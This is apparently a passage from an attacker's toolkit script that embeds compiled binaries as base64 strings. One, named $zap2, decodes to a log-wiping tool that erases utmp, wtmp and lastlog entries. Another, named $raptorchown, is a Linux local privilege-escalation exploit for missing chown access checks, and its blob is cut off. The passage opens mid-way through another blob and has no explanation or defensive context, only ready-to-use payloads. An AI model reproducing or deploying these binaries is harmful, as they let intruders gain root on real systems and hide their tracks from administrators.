CgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBAgAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAAAAAAAAAAAAD4AwAAAQAAAC4AAAABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAABAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAALAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEAAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAAABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAACgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAACAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";$zap2="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAcIQECDQAAABEDAAAAAAAADQAIAAHACgAGwAYAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIowkAAKMJAAAFAAAAABAAAAEAAACkCQAApJkECKSZBAgoAQAAMAEAAAYAAAAAEAAAAgAAALQJAAC0mQQItJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAAAMAAAAOAAAADQAAAAwAAAALAAAAAAAAAAAAAAABAAAAAAAAAAAAAAADAAAABAAAAAUAAAAGAAAAAgAAAAkAAAAIAAAABwAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAB8AAAAEgAAAGcAAAAAAAAAcQAAABIAAABbAAAAAAAAAB0AAAASAAAAKQAAAAAAAACsAAAAEgAAAEkAAAAAAAAA1QAAABIAAAALAAAAAAAAACkAAAASAAAAEgAAAAAAAAA8AAAAEgAAAGIAAAAAAAAAfAAAABIAAAAYAAAAAAAAADAAAAASAAAAMQAAAAAAAAD/AAAAEgAAADoAAABgiQQIBAAAABEADgAkAAAAAAAAAHwAAAASAAAAbQAAAAAAAAAAAAAAIAAAAABsaWJjLnNvLjYAcHJpbnRmAGxzZWVrAGJ6ZXJvAHdyaXRlAHJlYWQAc3RybmNtcABnZXRwd25hbQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBzdHJsZW4Ab3BlbgBjbG9zZQBfX2dtb25fc3RhcnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABAAEAAAAQAAAAAAAAABBpaQ0AAAIAfAAAAAAAAADImgQIBg0AAJyaBAgHAQAAoJoECAcCAACkmgQIBwMAAKiaBAgHBAAArJoECAcFAACwmgQIBwYAALSaBAgHBwAAuJoECAcIAAC8mgQIBwkAAMCaBAgHCgAAxJoECAcMAABVieWD7Ajo8QAAAOhMAQAA6G8FAADJwwD/NZSaBAj/JZiaBAgAAAAA/yWcmgQIaAAAAADp4P////8loJoECGgIAAAA6dD/////JaSaBAhoEAAAAOnA/////yWomgQIaBgAAADpsP////8lrJoECGggAAAA6aD/////JbCaBAhoKAAAAOmQ/////yW0mgQIaDAAAADpgP////8luJoECGg4AAAA6XD/////JbyaBAhoQAAAAOlg/////yXAmgQIaEgAAADpUP////8lxJoECGhQAAAA6UD///8x7V6J4YPk8FBUUmjYiAQIaJCIBAhRVmgaiAQI6G/////0kJBVieVT6AAAAABbgcPzFQAAUIuDOAAAAIXAdAL/0Itd/MnDkJBVieWD7AiAPcyaBAgAdSmhrJkECIsQhdJ0F4n2g8AEo6yZBAj/0qGsmQQIixCF0nXrxgXMmgQIAcnDifZVieWD7AihjJoECIXAdBm4AAAAAIXAdBCD7AxojJoECOjnevv3g8QQycOQkFWJ5YHsiAEAAIPsCGoCaGSJBAjo+P7//4PEEKPQmgQIgz3QmgQIAA+IsgAAAIPsBGiAAQAAjYV4/v//UP810JoECOj5/v//g8QQhcB/Aut+g+wM/3UI6GX+//+DxBCJwo2FeP7//4PALIPsBFL/dQhQ6Fr+//+DxBCFwHWwg+wIaIABAACNhXj+//9Q6I/+//+DxBCD7ARqAWiA/v///zXQmgQI6Ff+//+DxBCD7ARogAEAAI2FeP7//1D/NdCaBAjo2v3//4PEEOlf////g+wM/zXQmgQI6NT9//+DxBDJw1WJ5YHsmAEAAMeFdP7//wEAAACD7AhqAmhuiQQI6A3+//+DxBCj0JoECIM90JoECAAPiBMBAACDvXT+////dQXp9AAAAIPsBGoCi5V0/v//idDR4AHQweAH99hQ/zXQmgQI6Lj9//+DxBCD7ARogAEAAI2FeP7//1D/NdCaBAjo2/3//4PEEIXAeQzHhXT+////////66CD7Az/dQjoPf3//4PEEInCjYV4/v//g8Asg+wEUv91CFDoMv3//4PEEIXAdWiD7AhogAEAAI2FeP7//1DoZ/3//4PEEIPsBGoCi5V0/v//idDR4AHQweAH99hQ/zXQmgQI6CL9//+DxBCD7ARogAEA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EALx/3oCAABgiQQIBAAAABEADgCJAgAAAYYECEwBAAASAAwAkwIAAKSZBAgAAAAAEAAPAKACAAAAAAAAAAAAACAAAAC0AgAApJkECAAAAAAQAvH/ygIAAAAAAAB8AAAAEgAAANoCAABNhwQIzQAAABIADADnAgAAAAAAAAAAAAAgAAAAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AcC4wAGNvbXBsZXRlZC4xAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AHphcDIuYwBfRFlOQU1JQwBmAHdyaXRlQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAX19maW5pX2FycmF5X2VuZABraWxsX3V0bXAAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfaW5pdABfc3RhcnQAc3RybGVuQEBHTElCQ18yLjAAc3RybmNtcEBAR0xJQkNfMi4wAF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9zdGFydABwcmludGZAQEdMSUJDXzIuMABfZmluaQBsc2Vla0BAR0xJQkNfMi4wAF9fcHJlaW5pdF9hcnJheV9lbmQAb3BlbkBAR0xJQkNfMi4wAGJ6ZXJvQEBHTElCQ18yLjAAZ2V0cHduYW1AQEdMSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAGtpbGxfd3RtcABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAcmVhZEBAR0xJQkNfMi4wAGtpbGxfbGFzdGxvZwBfX2dtb25fc3RhcnRfXwA=";$raptorchown="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